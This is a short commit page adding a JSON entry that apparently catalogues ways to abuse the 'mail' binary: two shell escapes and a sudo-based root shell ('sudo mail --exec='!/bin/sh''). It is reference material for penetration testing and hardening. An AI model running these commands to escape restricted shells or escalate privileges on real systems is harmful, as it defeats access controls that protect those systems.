add data for mail

master
t0thkr1s 4 years ago
parent f24e2e7e8b
commit 0096472362

@ -0,0 +1,20 @@
{
"functions": {
"shell": [
{
"description": "GNU version only.",
"code": "mail --exec='!/bin/sh'"
},
{
"description": "This creates a valid Mbox file which may be required by the binary.",
"code": "TF=$(mktemp)\necho \"From nobody@localhost $(date)\" > $TF\nmail -f $TF\n!/bin/sh\n"
}
],
"sudo": [
{
"description": "GNU version only.",
"code": "sudo mail --exec='!/bin/sh'"
}
]
}
}
Loading…
Cancel
Save